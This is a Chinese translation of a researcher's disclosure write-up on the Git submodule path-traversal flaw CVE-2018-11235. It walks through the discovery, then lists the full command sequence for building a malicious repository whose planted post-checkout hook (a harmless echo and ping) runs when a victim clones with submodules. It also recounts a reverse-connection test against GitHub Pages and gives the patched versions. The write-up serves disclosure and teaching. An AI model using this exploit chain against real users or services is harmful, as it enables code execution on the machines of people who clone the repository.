標籤:

Git遠程代碼執行漏洞(CVE-2018-11235)的詳細分析

Git遠程代碼執行漏洞(CVE-2018-11235)的詳細分析

來自專欄安全客8 人贊了文章

譯文聲明

本文是翻譯文章,文章原作者,文章來源:staaldraad.github.io/

原文地址:staaldraad.github.io/po

一、概述

最近,我在研究一個包含許多子模塊的Git倉庫(Repository)。在研究過程中,我意識到自己並不清楚子模塊(Submodules)是如何工作的,因此決定深入研究子模塊的工作模式,以對其有更清晰的理解。但就在這個研究過程中,我發現了子模塊系統的一個漏洞,當子模塊被初始化時,將會導致Git中的遠程代碼執行(RCE)。針對這一漏洞,我複製了一台惡意軟體庫的主機,並在該主機上成功利用了這一漏洞。最後,我發現並向GitHub的Bounty Hunters項目提交了該漏洞( bounty.github.com/bount ),並獲得了CVE-2018-11235的漏洞編號( lkml.iu.edu/hypermail/l ) 。

在本文中,我將詳細描述發現漏洞的過程,並詳細分析利用這一漏洞的步驟。這可能是我尋找漏洞以來所發現的最受歡迎的一個漏洞。如果要讓我概述發現這一漏洞的過程,那麼必須要認真研究,再加上一點點運氣,最後才能得到代碼執行漏洞。

二、關於子模塊

Git允許用戶將外部倉庫包含到自己的倉庫之中,從而可以輕鬆地包含外部依賴關係,並且能夠自動跟蹤其發生的更改。根據Git-scm的介紹( git-scm.com/docs/gitsub ),我們知道:子模塊(Submodule)是嵌入在另一個倉庫內的倉庫。子模塊具有其自己的歷史記錄(History)。它所嵌入的倉庫稱為超級項目(Superproject)。

如果大家想要深入研究子模塊,以下這些資源可以作為參考:

git-scm.com/book/en/v2/

blog.github.com/2016-02

chrisjean.com/git-submo

為了理解子模塊是如何工作的,我們添加一個基本的子模塊,並查看我們對倉庫所做的更改。要將子模塊添加到倉庫,我們只需要使用git submodule add命令。這一過程需要複製外部倉庫,並為用戶設置一些配置選項。每個子模塊都有一個名稱和一個路徑,該路徑用於跟蹤子模塊,同時也是倉庫中子模塊的存儲位置。

如果我們添加一個外部子模塊:

git submodule add https://github.com/staaldraad/repository.git mysubmodule

將會創建如下文件:

(1)mysubmodule/:將要複製的子模塊的倉庫路徑;

(2).gitmodules:包含有關子模塊的初始化信息(如果該文件不存在,將會自動創建);

(3)$GIT_DIR/modules/mysubmodule:該文件夾包含子模塊的Git目錄(與我們已知的.git目錄相同);

(4)$GIT_DIR/config:修改後的.git/config文件,其中包含對所有子模塊的引用。

將子模塊添加到倉庫,並將更改推送到遠程設備之後,我們可能會注意到子模塊的內容實際上沒有添加到遠程設備之中。在.gitmodules文件中包含了有關子模塊的信息,這些信息將會用於對倉庫中任何複製的子模塊進行初始化。

為了在本地複製的倉庫中對子模塊進行初始化,我們需要在複製過程中使用以下命令來進行指定:

git clone --recurse-submodules https://github.com/staaldraad/repository.git

或者也可以在現有的倉庫中,執行以下操作:

git submodule update --init

.gitmodules文件在子模塊中將起到重要的作用,並且該文件是在我們的控制之下。仔細研究.gitmodules文件,我們會發現如下內容:

[submodule "mysubmodule"] path = mysubmodule url = https://github.com/staaldraad/repository.git

而就是在這裡,我有一絲不尋常的預感,並且開始尋找漏洞。

三、漏洞發現過程

3.1 初步嘗試

通過查看.gitmodules文件,我們注意到其中出現了兩次mysubmodule,一次是在子模塊名稱中,另一次是在路徑之中。而默認情況下,除非使用了—name參數指定名稱,否則子模塊名稱和子模塊路徑會是相同的。此外,我們還注意到,子模塊名稱將用於為子模塊創建.git目錄,這一目錄的路徑最終為$GIT_DIR/modules/mysubmodule。在這裡,我不禁產生了疑問,如果子模塊名稱就是一個路徑呢?為了驗證我是否可以操縱所使用的文件路徑,我對.gitmodules文件中的子模塊名稱進行了修改。

修改後的.gitmodules文件如下:

[submodule "../../submodule"] path = mysubmodule url = https://github.com/staaldraad/repository.git

我提交了修改,並完成了複製目錄這一過程。由於我修改了子模塊名稱,直接導致子模塊倉庫在主倉庫中被創建,而不是在其所屬的.git/modules中創建。

git clone --recurse-submodules https://github.com/staaldraad/repository.git<snip>...</snip>cd repositoryls -l drwxrwxr-x. 2 staaldraad staaldraad 40 May 3 13:26 submodule-rw-rw-r--. 1 staaldraad staaldraad 3 May 3 13:26 README.mddrwxrwxr-x. 2 staaldraad staaldraad 40 May 3 13:26 mysubmodulels -l submodule total 28drwxrwxr-x. 2 staaldraad staaldraad 40 May 3 13:26 branches-rw-rw-r--. 1 staaldraad staaldraad 293 May 3 13:26 config-rw-rw-r--. 1 staaldraad staaldraad 73 May 3 13:26 description-rw-rw-r--. 1 staaldraad staaldraad 41 May 3 13:26 HEADdrwxrwxr-x. 2 staaldraad staaldraad 240 May 3 13:26 hooks-rw-rw-r--. 1 staaldraad staaldraad 11120 May 3 13:26 indexdrwxrwxr-x. 2 staaldraad staaldraad 60 May 3 13:26 infodrwxrwxr-x. 3 staaldraad staaldraad 80 May 3 13:26 logsdrwxrwxr-x. 4 staaldraad staaldraad 80 May 3 13:26 objects-rw-rw-r--. 1 staaldraad staaldraad 107 May 3 13:26 packed-refsdrwxrwxr-x. 5 staaldraad staaldraad 100 May 3 13:26 refs

結果證明,在子模塊複製函數中,存在目錄遍歷漏洞,我們現在可以藉助這一漏洞在任意位置進行寫入。但遺憾的是,我們還不能控制寫入的數據。所有創建的內容都來源於Git,但我們希望進行代碼執行,這時Git倉庫就顯得毫無用處了。因此,我試圖使用符號鏈接,對不同的位置嘗試進行寫入,但除了能夠覆蓋現有的文件夾之外,似乎並沒有太大作用。

於是,我決定後退一步,先不考慮完全控制寫入的內容,而是分析一下Git自身的原理以及如何從Git執行代碼,這時我想到了Git鉤子(Git Hook, git-scm.com/book/en/v2/ )。

3.2 Git鉤子

Git鉤子具體分為客戶端鉤子和服務端鉤子。這些鉤子是在Git工作流中發生預定義事件時觸發的簡單可執行腳本(例如Bash等)。最常見的例子就是預提交鉤子,用於驗證提交中是否包含敏感數據。這些鉤子似乎可以作為代碼執行的一個有效途徑,但不幸的是,鉤子位於$GIT_DIR/hooks/中,這也就意味著它們永遠不會存儲在遠程的Git倉庫中,並且不會成為複製過程中被複制的一個部分。

之所以這樣設定,是有原因的——如果鉤子存儲在實際的Git工作樹中,就可以很容易地創建一個具有惡意客戶端鉤子的倉庫,並且任何複製該倉庫的用戶都會執行鉤子,這顯然不是一個理想的狀況。

由於子模塊只是一個外部的Git倉庫,所以子模塊也可以具有鉤子,這些鉤子會存儲在$GIT_DIR/modules/modulename/hooks目錄下。這時我有了一個想法,如果使用我們的子模塊目錄遍歷漏洞,來創建並觸發$GIT_DIR之外的一個鉤子是否可行?

3.3 重新回到遍歷漏洞

由於這一遍歷漏洞的存在,允許我們的子模塊倉庫位於$GIT_DIR之外,所以我們可以將其添加到工作樹,並提交到遠程。這也就意味著,它將被包含在任何複製的Git之中,理論上當我們對子模塊進行任何更改時,都會觸發這一鉤子。

考慮到上述原理,我們進行了如下步驟。

(1)添加一個子模塊:

git submodule add https://github.com/staaldraad/repository.git submod

(2)創建一個偽造Git目錄,用於我們的遍歷:

mkdir -p fakegit/modules

(3)創建一個Git鉤子:

vim fakegit/modules/submod/hooks/post-checkoutchmod +x !$

(4)修改.gitmodules,使其包含遍歷(新模塊名稱為../../fakegit/modules/submod)

(5)提交所有內容:

git add .git commit -m "msg"git push origin master

我們的思路是,當倉庫被複制時,由於fakegit/modules/submod看起來似乎是一個有效的子模塊倉庫,並且當子模塊git submodule update —init執行時,Git將會使用fakegit/modules/submod作為路徑,而不是$GIT_DIR/modules/submod。由於其中包含一個鉤子,所以在檢查完成後將會執行鉤子。

思路非常完美,但實際卻遇到了失敗。

Submodule ../../fakegit/modules/submod (https://github.com/staaldraad/repository.git) registered for path submodCloning into /tmp/c/v/subs/submod...fatal: /tmp/c/v/subs/.git/modules/../../fakegit/modules/submod already existsfatal: clone of https://github.com/staaldraad/repository.git into submodule path /tmp/c/v/subs/submod failedFailed to clone submod. Retry scheduledCloning into /tmp/c/v/subs/submod...remote: Counting objects: 274, done. remote: Compressing objects: 100% (227/227), done. remote: Total 274 (delta 14), reused 268 (delta 8), pack-reused 0 Receiving objects: 100% (274/274), 44.03 KiB | 392.00 KiB/s, done.Resolving deltas: 100% (14/14), done.Submodule path submod: checked out cc0db68d85f7ce60a51c62bf451d7575e5a9a89eSubmodule path submod: checked out cc0db68d85f7ce60a51c62bf451d7575e5a9a89e

回想一下,我之前曾經提到過,這個遍歷漏洞允許我覆蓋任意文件夾。而這正是我們失敗的原因,子模塊嘗試在我們偽造的位置初始化子模塊倉庫,但此時文件夾已經存在,所以它會刪除其中的內容,並且嘗試。這樣一來,就會覆蓋我們所特製的攻擊,該鉤子也永遠不會觸發。

fatal: /tmp/c/v/subs/.git/modules/../../fakegit/modules/submod already existsfatal: clone of https://github.com/staaldraad/repository.git into submodule path /tmp/c/v/subs/submod failedFailed to clone submod. Retry scheduledCloning into /tmp/c/v/subs/submod...

事已至此,我不打算放棄,接下來我們要解決的問題就只是「防止Git覆蓋鉤子」。在不斷嘗試的過程中,我多次遇到了失敗,即使使用了第二個子模塊成功寫入文件夾,最終也會被覆蓋。

3.4 解決鉤子被覆蓋的問題

經過多次嘗試後,我開始回顧之前的操作。在之前,我總是為第二個子模塊選擇了第一個子模塊字母順序之後的路徑。這就意味著,第一個模塊將嘗試被創建,失敗後第二個模塊將被添加,然後第一個模塊會被再次複製。在嘗試不同的攻擊方法時,我無意中將第二個模塊的路徑修改成了字母順序在第一個模塊之前,即第二個路徑是mod1,第一個路徑是submod。

就這一個小小的變化,卻觸發了一個新的代碼路徑,而我之前並沒有想到會發生這樣的情況。當$GIT_DIR/modules中存在一個或多個子模塊時,我們的遍歷子模塊不會覆蓋任何文件。通過第二個子模塊的初始化過程,就可以創建$GIT_DIR/modules/mod目錄,同時將fakegit/modules/submod作為有效路徑接受,並且不發生覆蓋的情況。這樣一來,鉤子就仍然存在,我們可以觸發鉤子!

四、漏洞利用

4.1 漏洞利用過程

目前,思路已經清晰,接下來就要整合攻擊鏈了。要利用這一漏洞,需要我們創建「惡意」的倉庫,我們的目標將會對其進行複製。

1、首先創建Repo:

mkdir badrepocd badrepogit initgit remote add origin https://github.com/staaldraad/demosub.git

2、通過我們的目錄遍歷,尋找子模塊創建所需的文件夾:

mkdir -p fakegit/modules

3、添加兩個子模塊(其中的內容不重要,只需要許可權設置為公開/可複製):

git submodule add https://github.com/staaldraad/repository.git submodgit submodule add https://github.com/staaldraad/repository.git aaa

4、從.git/modules/submod移動偽造子模塊的Git倉庫:

mv .git/modules/submod fakegit/modules/submod

5、在偽造Git中,創建我們的鉤子,需要是一個有效的Bash腳本:

cat > fakegit/modules/submod/hooks/post-checkout <<EOF#!/bin/shecho "PWNED"ping -c 3 127.0.0.1exit 0EOFchmod +x fakegit/modules/submod/hooks/post-checkout

6、通過將「submod」更改為「../../fakegit/modules/submod」,將目錄遍歷添加到.gitmodules中:

sed -i 0,/submod/{s/"submod/"../../fakegit/modules/submod/} .gitmodules

7、我們還需要更新子模塊.git文件中的gitdir路徑,從而使其指向我們的新位置。Git在構建工作樹期間會使用該路徑,如果我們不進行這一更改,就無法創建我們的提交。原因在於,我們在將其移動到新的偽裝位置時,刪除了$GIT_DIR/modules/submod。具體來說,我們要將gitdir從../.git/modules/submod修改為../fakegit/modules/submod。

sed -i s/.git/fakegit/ submod/.git

8、添加、提交並推送:

git add .git commit -m "woot"git push origin master

4.2 受害者用戶

當受害者用戶複製倉庫並使用—recurse子模塊時,我們將會得到遠程代碼執行:

git clone --recurse-submodules https://github.com/staaldraad/demosub.git

在git submodule update —init的情況下,也同樣能夠得到遠程代碼執行:

git clone https://github.com/staaldraad/demosub.gitcd demosubgit submodule update --init

五、GitHub頁面遠程代碼執行

5.1 GitHub中發現的漏洞

我們在Git中新發現的遠程代碼執行漏洞具有較大的危害,但它需要以特定方式來複制倉庫,並且可能不會被視為「真實世界」中所發生的。因此,我開始尋找一種能夠證明風險的方法。長期以來,我都將GitHub作為漏洞探索的一個目標,嘗試獲得Shell。經過查看GitHub頁面,並在GitHub頁面上託管此博客後,我了解到GitHub頁面允許用戶在倉庫中使用子模塊( help.github.com/article )。

要測試該漏洞是否適用於GitHub非常簡單,只要對我們的腳本稍作修改,使其不再ping localhost,而是與我控制的主機進行反向連接,然後在倉庫上啟用GitHub頁面。

最終,我們取得了成功。經過快速驗證,該IP地址確實來自GitHub,現在我們就證明了GitHub存在遠程代碼執行漏洞。

針對GitHub上存在的漏洞,我沒有嘗試進一步利用,而是及時向GitHub提交了報告。我建議需要特別注意在Docker容器中的非特權用戶,需要限制其攻擊面和進一步利用漏洞的機會,並且阻止對其他用戶數據的訪問。

我將這一問題報告給GitHub後,得到了及時有效的回應。在6月3日(周日)早上我提交了該問題,GitHub團隊在收到報告後的3小時就進行了漏洞分類,並進行了臨時修復。他們的BugBounty計劃非常有效,同時GitHub團隊還協助將相關問題提交給git-core並申請到了CVE編號。

5.2 邊緣案例

當我嘗試對2.13.6版本的Git進行漏洞測試時,我同時還請了一個朋友@Saif_Sherei( twitter.com/saif_sherei )在他的盒子上測試這一漏洞,但他卻沒能成功利用該漏洞。他安裝了2.7.4版本的Git,成功觸發了漏洞攻擊,但在複製過程中,工作樹目錄被添加了額外的….,有效防止了漏洞的利用。在漏洞披露後,Tony Torralba( twitter.com/_atorralba )復現了2.7.4版本Git上的漏洞。我強烈建議各位讀者閱讀他的文章( atorralba.github.io/CVE ),並學習他的思路和符號鏈接技巧,以對這一漏洞有更為完整的認識。

5.3 其他操作系統

需要指出的是,該漏洞不僅可以通過Git For Linux進行利用,同時也可以在macOS和Windows上利用。Microsoft Visual Studio服務團隊在其發布的補丁公告中包含了一個可用於macOS的PoC。

twitter.com/VSTS/status

六、漏洞修復

針對該漏洞,已於2018年5月29日發布Git補丁。在該補丁中,不僅解決了客戶端漏洞,而且還引入了一個防止Git伺服器傳遞「惡意」gitmodule對象的選項。該選項並沒有默認啟用,但可以通過切換到transfer.fsckObjects來啟用。更多信息請閱讀: <a href=」public-inbox.org/git/20avarab@gmail.com/」」>public-inbox.org/git/20

上述修複目前已經在大多數主要託管伺服器上完成,包括GitHub、GitLab、Microsoft Visual Studio團隊服務。我們非常開心看到不同組織能夠共同協作,修復這一漏洞,並保護終端用戶。

以下版本已經進行了安全更新,建議廣大用戶更新到不受該漏洞影響的版本:

v2.17.1(最新)

v2.16.4

v2.15.2

v2.14.4

v2.13.7

感謝GitHub安全團隊對此漏洞的報告及披露過程提供的協助,也感謝Git的維護人員能進行快速響應和修復。

Edward Thomson還寫了一篇很棒的文章,詳細介紹了如何在各種平台上更新Git,並提供了驗證自己是否受該漏洞影響的方法,強烈推薦閱讀這篇文章: edwardthomson.com/blog/

Git團隊還為這一漏洞創建了一個測試腳本,該腳本使用內置的Git命令進行漏洞利用嘗試,並且跳過了我所經歷的一些不必要的步驟: github.com/git/git/comm

七、參考文章

marc.info/?

blogs.msdn.microsoft.com

edwardthomson.com/blog/

github.com/git/git/comm

atorralba.github.io/CVE

allthingsgit.com/episod

推薦閱讀:

如何用iPad運行Python代碼?
為何小米招股書226次提到印度
C++模板實現非侵入式多態
流量漫遊費正式取消,但這幾類用戶無法享受
怎樣向朋友解釋電子墨水屏原理?

TAG:Git | 科技 |